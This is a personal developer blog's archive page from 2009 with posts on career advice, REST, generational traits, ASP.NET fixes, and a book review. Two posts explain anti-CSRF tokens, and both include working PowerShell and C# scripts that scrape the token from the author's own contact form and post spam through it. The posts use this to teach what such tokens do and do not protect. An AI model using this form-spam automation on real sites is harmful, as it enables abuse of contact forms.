Finding Work That You Love

December 31st, 2009

As a youngster I was encouraged to: “Find work that you love and do what makes you happy.” Ironically, this sage advice was usually delivered by the unhappy, unemployed, or paranoid (paranoid that the government was stealing their money, unhappy with the uncertainty of not working, or unemployed because keeping work in small remote economies is tough). It’s also fair to mention that this piece of advice was usually followed by: “Get a trade. You need a trade!” This was probably great advice a couple decades ago, or if you’re working in remote communities, but less relevant in today’s world. I loosely followed this advice through my younger years and I remember constantly being frustrated when work inevitably lost its fun. Thankfully, I eventually realized that work is work (if work was fun we’d just call it fun, then we’d be preoccupied with having work, not fun). Anyhow, I sympathize with today’s youngsters who are wrestling with this same conundrum - being told one thing, but experiencing a different reality in the real world. My words of advice today would be to: “get experience, work, do whatever you can, build a resume, go to school, and you’ll eventually find work that you love. Oh, and don’t look solely to work for happiness.”

Today I do find my work fun, but I couldn’t have got here without the experience I gained while plowing through boring jobs (like working the assembly line, tree planting, or digging outhouse pits). In order to find the job you love you need to start gaining experience now.

Author: Adam Kahtava Categories: Musings, Personal Tags:

Hacking Anti Cross-site Request Forgery Tokens (CSRF) With Powershell

December 16th, 2009

I ported the example of how to hack an Anti CRSF Token protected form - previously shown in my post What Are Anti Cross-site Request Forgery Tokens And What Are They Good For? - to PowerShell.

How to hack an Anti CRSF Token from PowerShell

function global:spam-adamdotcom(){

  # Load the assembly containing WebClientWithCookies and RegexUtilities
  [Reflection.Assembly]::LoadFile((Resolve-Path "AdamDotCom.WebClientWithCookies.dll")) | out-null
 
  # Load the assembly containing System.Web.HttpUtilitiy
  [void][Reflection.Assembly]::LoadWithPartialName("System.Web") | out-null 

  # create a new instance of the HTTP Web Client that supports cookies
  $webClient = New-Object AdamDotCom.Common.Service.Utilities.WebClientWithCookies

  # download the page that contains the Anti CRSF Token
  [void] $webClient.DownloadData("http://adam.kahtava.com/contact");

  # use a regular expression to grab the Anti CRSF Token
  #  - this is an MVC site so we're looking for a token named "__RequestVerificationToken_Lw__"
  $regex = "__RequestVerificationToken_Lw__=(?<CRSF_Token>[^;]+)"
  $match = [regex]::matches($webClient.ResponseHeaders["Set-Cookie"], $regex)[0]
  $antiCrsfToken = $match.Groups["CRSF_Token"].Captures[0].Value

  write-host "`nYour Anti CRSF Token is: " $antiCrsfToken

  # construct the message including the Anti CSRF Token
  $message = "__RequestVerificationToken=" + [System.Web.HttpUtility]::UrlEncode($antiCrsfToken) +
             "&amp;fromName=Johnathon Fink" +
             "&amp;fromAddress=prancesw@rmcres.com" +
             "&amp;subject=Call for your diploma now" +
             "&amp;body=Is your lack of a degree..."

  # send spam-spam-spam
  $webClient.Headers.Add("Content-Type", "application/x-www-form-urlencoded");
  [void] $webClient.UploadData("http://adam.kahtava.com/contact/send", "POST",
                              ([System.Text.Encoding]::UTF8.GetBytes($message)));

  write-host "`nSuccess!!! Your spam has been sent.`n"
}

To run this script:

  1. Download the script
  2. Run PowerShell
  3. Load the script: .\Automated-AntiCSRF-Authentication-Script.ps1
  4. Start sending spam-spam-spam: PS > spam-adamdotcom

Here's the output as seen on my machine:

PS C:\> .\Automated-AntiCSRF-Authentication-Script.ps1
PS C:\> spam-adamdotcom

Your Anti CRSF Token is:  f54ZlHS3L1Xyl65dYd1uYYh90ygNKYmCswXJUnr0GYtgcrJdJILsQ2jyFotzc10L

Success!!! Your spam has been sent.

This example uses a derivation of the .NET Framework's Web Client class but with Cookies enabled, so it depends on the AdamDotCom.Common.Service.dll assembly (browse the source here). This dependency can be automatically resolved by issuing the download-client function that's also found within the PowerShell script.

Contribute, view, or download the openly available script here: Automated-AntiCSRF-Authentication-Script.ps1

Author: Adam Kahtava Categories: .NET, ASP.NET MVC, PowerShell Tags:

RESTful Web Services: What Are They?

December 4th, 2009

RESTful web services are all the rage these days, and for good reason. Many web based MVC frameworks depend on REST. Here's a crash course on what RESTful web services are and aren't.

REST stands for Representational state transfer. REST is not an architecture, instead it's a set of design criteria. RESTfulness and RESTful web service try to make use of the full gambit of HTTP Methods (GET, PUT, POST, DELETE, OPTIONS, and HEAD), and try to expose every resource or operation in a meaningful URI / URL. RESTful web services are intuitive, and work similar to the way the human web works (meaningful semantic data is returned to the client, resources link to other resources, microformats are employed, and so on).

Qualities associated with RESTfulness:

  • RESTful is the the way the human web works - where the data returned by services can be easily understood by humans (or robots) and usually contain links to other resources
  • RESTful web services use varying response formats. Common formats include: XHTML pages, XHTML microformats, JSON, XML, ad-hoc HTML, JavaScript, or build your own
  • RESTful web services depend on meaningful URIs. These URIs can contain scoping information, but shouldn't contain query requests. For example: when searching for 'kumquat' on Google you're redirected to http://www.google.com/search?q=kumquat where your search query is present in the URI. Whereas a URI like http://www.google.com/search/kumquat/ specifies the search parameters within the URI - this is not recommended as it implies some predictability, search results are unpredictable
  • RESTful web services also use query variables as inputs to algorithms
  • RESTful web services expose a URI for every piece of data the client may want to operate on
  • RESTful web services make use of HTTP methods (GET, PUT, POST, DELETE, OPTIONS, and HEAD)
  • RESTful web services don't keep the state on the server (that's the client's job), they don't like cookies, and don't like sessions
  • RESTful web services make use of HTTP Headers

Examples of RESTful web services:

Qualities that are not RESTful:

  • Most SOAP or other RPC-Style Architectures where XML messages are placed in the HTTP Body
  • Frameworks that depend heavily on overloaded POSTs and XML (See Safety, Idempotence, and the Resource-Oriented Architecture for more information)
  • Most big corporate web service frameworks are not RESTful. Some frameworks like WCF try to provide REST like functionality on top of a SOAP based API, but these add-ons can be obtuse and unRESTful.

Examples of unRESTful web services:

The growing popularity of web based MVC frameworks is providing a welcomed push towards RESTfulness and the simplicity that it brings, because working with the grain of the web (REST) makes life simpler and more semantically meaningful too. If you want to learn more about RESTful web services then check out Restful Web Services by Leonard Richardson and Sam Ruby.

Author: Adam Kahtava Categories: ASP.NET MVC, RESTful, Services, WCF Tags:

Ramblings From Another Generation X / Y / Millennial

December 1st, 2009

Like a straight 'A' student you'll find me upfront and center, pencil in hand, when someone describes the traits of my demographic group. I fall somewhere in the Generation XY / Millennial demographic group (the boundary varies widely depending on what source you cite). I mean let's face it, who doesn't like to read about how our droogs are perceived? Wait a ... this could be another manifestation of Generation X / Y / Millennial narcissism others have been writing about. Crap!

When hearing about the traits of our demographic group, I question how unique the traits associated with our group are. It seems that these traits could be common knowledge to smart people everywhere (regardless of demographic segmentation), but then again, this could be my squeaky Generation X / Y / Millennial voice discounting the other demographics (yet again).

I thought Andy Hunt had an accurate description for our demographic:

[Generation Xers are] free agents, with an inherent distrust of institutions ... Fiercely individualistic, and perhaps a bit on the dark side, they'll just quit and move on if there's a problem at work. They resist being labeled at all costs ... They are quite pragmatic, working for a positive outcome regardless of any particular ideology or approach. - Pragmatic Thinking and Learning: Refactor Your Wetware

I'd agree, an inherent distrust of institutions is a common trait in our demographic. It could be that we're immature and this tendency could wane as we grow older, or it could be a permanent scar stemming from our observations - many of us watched our elders (some with perceived jobs-for-life) jaded and unemployed in the 80's, then living through the uncertainly that prevailed in the following years.

Others have mentioned that we:

would prefer to work for companies that give them opportunities to contribute their talents to nonprofit organizations. - Volunteering as a Benefit

But then again, who wouldn't like to work for company that encouraged contributions to nonprofits and pet projects?

Yet others have noted that we:

demand to be communicated to in a direct, honest and transparent way ... are "'immediate driven" and quite keen to live their lives right now, rather than adhering to the old Protestant work ethic that suggests you can only reap the rewards of life after you have worked hard and basically sold your soul to your employer. - How to turn on Generation Y

Yup, that sounds fair. We expect transparency in the age of information. Continuing with that thought, it's also been said that:

[we] view time as a currency ... not to be wasted ... They want to get the job done, then put it behind them and enjoy life. - Retaining youth

Again, seems a bit obvious. We're not lazy, but we've seen our elders do a lot of weird stuff as they go through their midlife crisis - maybe if they didn't put off living in the name of work they would have maintained more sanity.

It's also been said that we:

prefer to dress as casual as possible and work with mobile gadgets or laptops in comfortable, creative spaces. - CareerNews: Tuesday, May 22, 2007

What demographic group doesn't like to be comfortable while working? Our attire should be an extension of workplace ergonomics - we're told to lift heavy object with your legs (not your back), and use ergonomically correct equipment. Wearing comfortable clothes and using gadgets should be a natural extension. :)

In general, I think our generation strives to work smarter (not necessarily longer hours), we try to atain a healthy work-life balance, and a number of us value experiences over owning stuff. I think smart people from other demographics have been doing the same things for years, but what do I know, I'm just another Generation X / Y / Millennial.

Author: Adam Kahtava Categories: Musings Tags:

Chatting With a Flash Developer Turned Web Developer

November 30th, 2009

I was chatting with a Flash Developer turned Web Developer. When asked why he made the transition, he predicted that HTML 5 and the evolution of the web thereafter would lessen the demand for Flash Developers (possibly making them obsolete) and that moving towards a Web Developer / Generalist is an investment for the future. I thought that was an interesting perspective. It's not far fetched to predict that the open web will replace proprietary browser plug-ins - in many cases digital content has already replaced print.

Author: Adam Kahtava Categories: Musings, Software Tags:

What Are Anti Cross-site Request Forgery Tokens And What Are They Good For?

November 25th, 2009

Anti Cross-site Request Forgery Tokens help prevent Cross-site Request Forgery (CSRF) also known as XSRF - pronounced "sea-surf" - and are usually implemented through a hidden HTML form element that contains a unique ID. This ID is passed along with subsequent requests for data and validated on the server. Anti CSRF Tokens try to ensure the identity of the user. They aren't a replacement for CAPTCHAs and don't prevent robots or web scrapers from manipulating your site - as you'll soon see.

Why use an Anti CRSF Token?

An overly simple example: If I didn't use an Anti Forgery Token on my contact page (see the source code: View or Controller), a Spammer could POST data directly against my contact form and potentially drown me with spam.

Here's a hypothetical form created by an evil Spammer. This form is hosted on http://spammer.com (not my site):

<form action="http://adam.kahtava.com/contact/send" method="POST">
  <input name="fromName" type="text" value="Johnathon Fink" />
  <input name="fromAddress" type="text" value="prancesw@rmcres.com" />
  <input name="subject" type="text" value="Call for your diploma now" />
  <textarea name="body">Is your lack of a degree...</textarea>
  ...
</form>

Again, note that the form action contains a reference to my site (even though it is hosted on another site).

Now, imagine this was a form prompting a user for their username and password. These credentials could be maliciously stored while the user successfully authenticates and is then redirected to the site they thought they were visiting - the way phishing usually works.

After adding an Anti CRSF Token to my contact form, a Spammer can't access my form remotely (at least not without the token). My contact form with it's Anti CRSF Token:

<form action="/contact/send" method="post" name="contact">
  <input name="__RequestVerificationToken" type="hidden" value="0sAqY1ZKb+Qia4..." />
  <input name="fromName" ...

Note the presence of the RequestVerificationToken.

Said Spammer, can't abuse my form without including the unique token. Technically speaking the Spammer can still abuse my form, but he now needs to:

This is pretty easy to do if you have an implementation of a HTTP Client library that supports cookies.

How to hack an Anti CRSF Token protected form

Using an extended instance of .NETs Web Client here's how our Spammer could circumvent my Anti CRSF Token.

The Spamming script by that wascaly Spammer:

// create a new HTTP Web Client that supports cookies
var webClient = new WebClientWithCookies();

//download my contact page containing the Anti CRSF Token
webClient = webClient.DownloadData("http://adam.kahtava.com/contact");

//parse out the Anti CRSF Token
var antiCrsfToken = RegexUtilities.GetTokenString(
                      new Regex("__RequestVerificationToken=(?<CRSF_Token>[^;]+)")
                      .Match(webClient.ResponseHeaders["Set-Cookie"]), "CRSF_Token");

//now the Spammer can drown me in spam-spam-spam
// by scraping my Anti CRSF Token and posting it into my form
webClient.Headers.Add("Content-Type", "application/x-www-form-urlencoded");
byte[] response = webClient.UploadData("http://adam.kahtava.com/contact/send", "POST",
                            Encoding.UTF8.GetBytes(
                              "__RequestVerificationToken=" + antiCrsfToken +
                              "&fromName=\"Johnathon Fink\"" +
                              "&fromAddress=\"prancesw@rmcres.com\"" +
                              "&subject=\"Call for your diploma now\"" +
                              "&body=\"Is your lack of a degree...\""));

The Spammer is back at their old tricks sending me more Spam. ARGH!

What's the use of an Anti CRSF Token?

Anti CRSF Tokens help prevent phishing attacks. They aren't meant to prevent spammers or Dr Robotnik and his robots (or web scrapers) from running automated scripts against your web application. Keep in mind, that if your site suffers from other XSS vulnerabilities (where the privacy of your cookies or sessions are compromised) then Anti CRSF Tokens don't work at all.

Read more about how Anti CRSF Tokens work here: Prevent Cross-Site Request Forgery (CSRF) using ASP.NET MVC’s AntiForgeryToken() helper or learn more about Cross-Site Request Forgery at: The Cross-Site Request Forgery (CSRF/XSRF) FAQ.

Author: Adam Kahtava Categories: .NET, ASP.NET MVC Tags:

How To Fix the: “Validation of viewstate MAC failed” Error (ASP.NET MVC)

November 23rd, 2009

I run my site on a Windows Shared Hosting account, and every time I updated the assemblies on my ASP.NET MVC site I'd be presented with the "Validation of viewstate MAC failed" error.

The "Validation of viewstate MAC failed" error only occurred when a page contained an HTML form element that made use of MVC's AntiForgeryToken. The quick fix was to delete my __RequestVerificationToken cookie, but the error would rear its ugly head the minute I touched my assemblies. The long term solution was to add a machineKey element to my Web.config file - asking visitors to delete a specific cookies when visiting my site was not a viable option.

How I fixed the "Validation of viewstate MAC failed" error on Shared Hosting:

  1. I used the <machineKey> Generator Tool to generate a machine key
  2. I added the machineKey element to my Web.config file

My Web.config now looks similar to this:

<?xml version="1.0"?>
<configuration>
  <system.web>
    <machineKey validationKey="..." decryptionKey="..." validation="SHA1" />

Anyhow, I hope this post helps anyone else that's encountering this error.

Oh wait, here's the error in its entirety for The Google Machine's crawlers:

Server Error in '/' Application.

Validation of viewstate MAC failed. If this application is hosted by a Web Farm or cluster, ensure that configuration specifies the same validationKey and validation algorithm. AutoGenerate cannot be used in a cluster.

Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

Exception Details: System.Web.HttpException: Validation of viewstate MAC failed. If this application is hosted by a Web Farm or cluster, ensure that configuration specifies the same validationKey and validation algorithm. AutoGenerate cannot be used in a cluster.

Author: Adam Kahtava Categories: .NET, ASP.NET MVC Tags:

Site Update: New Resume, Contact, Reviews, and Reading Lists Sections

November 8th, 2009

This site now sports a ResumeContact MeReviews, and Reading Lists section.

If you're reading this from an RSS feed, then the changes looks like this:

Navigation changes on my site

These new sections make use of the services I created earlier - my resume content is pulled directly from LinkedIn via my Resume service, the Reading Lists and Reviews are being pulled from Amazon via my Amazon service, and I'm still working on a personalized greeting module which will make use of my Whois service.

Now, when I update my resume on LinkedIn, add a new item to my Amazon wishlist, or write a new Review on Amazon the content is updated within this site and indexed by the Google.

It took longer than expected to get these new pages up and running - mostly due to a couple false starts. You see, I'm running this site on Windows shared hosting which unfortunately doesn't give me many options - sure, sure, I could purchase another hosting account, but developers are like freak'n MAcGyver we like working within ridiculous constraints. It's all about the challenge! Anyways, I first tried using Ruby on Rails on shared hosting (fail), then tried using PHP on Trax (fail), and finally reverted to ASP.NET MVC. While ASP.NET MVC is heads and tails more fun than Web Forms / Classic ASP.NET, the impedance mismatch between strongly typed objects and web languages (JavaScript, CSS, XHTML) is still annoying. Thankfully the MVC Contrib project solves some of these pains, however it can't solve them all.

My next steps with this site are to: finish the greeting module, update the layout (drop the WordPress theme), and finish a Github / Google Code repo widget (kind of like this one) for the sidebar.

Contribute, view, or download the openly available source code here.

Book Reviewed: Pragmatic Thinking and Learning: Refactor Your Wetware

October 26th, 2009

Pragmatic Thinking and LearningAndy Hunt's Pragmatic Thinking and Learning is fun and interesting, but the topics within often leaned on the obvious. The central theme throughout Pragmatic Thinking and Learning revolves around harnessing brain modes (linear mode and rich mode), self improvement, and the Dreyfus Model - a model, where skills are ranked by five stages (Novice, Advanced Beginner, Competent, Proficient, and Expert). Throughout the text Andy works through the stages of the Dreyfus Model within the context of the software realm. He offers advice on how we can progress as developers, and discusses learning techniques that have worked for him.

Andy offers many interesting tips, stories, and draws in external research. For example, did you know, that research suggests that: "if you constantly interrupt your task to check email [Twitter, Facebook] or respond to an IM text message, your effective IQ drops by ten points" or "the leading predictor of a tendency for road rage was the amount of personalization on a vehicle"?

However, I felt that many of the concepts discussed have become common knowledge (part of popular developer culture) and were somewhat obvious. To borrow from the Dreyfus Model; this book is probably best suited for Novices or Advanced Beginner. It's also fair to mention that I thought Andy's other book The Pragmatic Programmer suffered this same problem, but also keep in mind that "the obvious ... is never seen until someone expresses it simply" (Kahlil Gibran). In the end, I do recommend this book. It's a fun read, excellent for those who are new to the software industry. It would make a great addition to College / University programs.

Author: Adam Kahtava Categories: Review Tags:

The Dreyfus Model: Developer Events and Skill Categories

October 8th, 2009

I found the Dreyfus Model of Skill Acquisition neat. It's a central theme throughout Pragmatic Thinking and Learning by Andy Hunt.

Here's how Wikipedia describes the Dreyfus Model:

The Dreyfus Model of Skill Acquisition postulates that when individuals acquire a skill through external instruction, they normally pass through five stages. ... the five stages of skill acquisition are: Novice, Advanced beginner, Competent, Proficient and ExpertDreyfus model of skill acquisition

We have different skills and are at different stages simultaneously in each skill - for example, someone might be an Expert at underwater basket weaving and a Novice at cooking. As we cultivate our experience we progress through these stages.

The categories (again, from Wikipedia) are as follows:

  1. Novice
    • rigid adherence to rules
    • no discretional judgment
  2. Advanced beginner
    • situational perception still limited
    • all aspects of work are treated separately and given equal importance
  3. Competent
    • coping with crowdedness (multiple activity, information)
    • now partially sees action as part of longer term goals
    • conscious , deliberate planning
  4. Proficient
    • holistic view of situation, rather than in terms of aspects
    • sees what is most important in a situation
    • uses maxims for guidance, meaning of maxims may vary according to situation
  5. Expert
    • no longer reliant on rules, guidelines, maxims
    • intuitive grasp of situation, based on tacit knowledge
    • vision of what is possible

Presented with these categories we can draw some parallels with the software realm. Like say, create a list of events that you'd most likely find these different categories of software developers hanging out.

Developer Event Attendance and Developer Skill Categories:

  1. Vendor or Technology Specific: User Groups / Code Camps / Corporate Training / Evangelistic Events
    • Many Novices
    • Many Advanced beginners
    • A small number of Competents that are transitioning to Proficients
    • Proficients and Experts might be leading the group or may have been mandated to go by their organization
  2. Open Book Clubs / Non Specific Technology Meetings / Non Specific Bar Camp Type Events
    • Mostly Competents, Proficients, and Experts

Of course, this is just my opinion. I've noticed that my attendance to the events listed above continually shift. Initially I thought I was becoming a curmudgeon, but instead I shifted a couple Dreyfus categories.

Author: Adam Kahtava Categories: Musings, Personal Tags: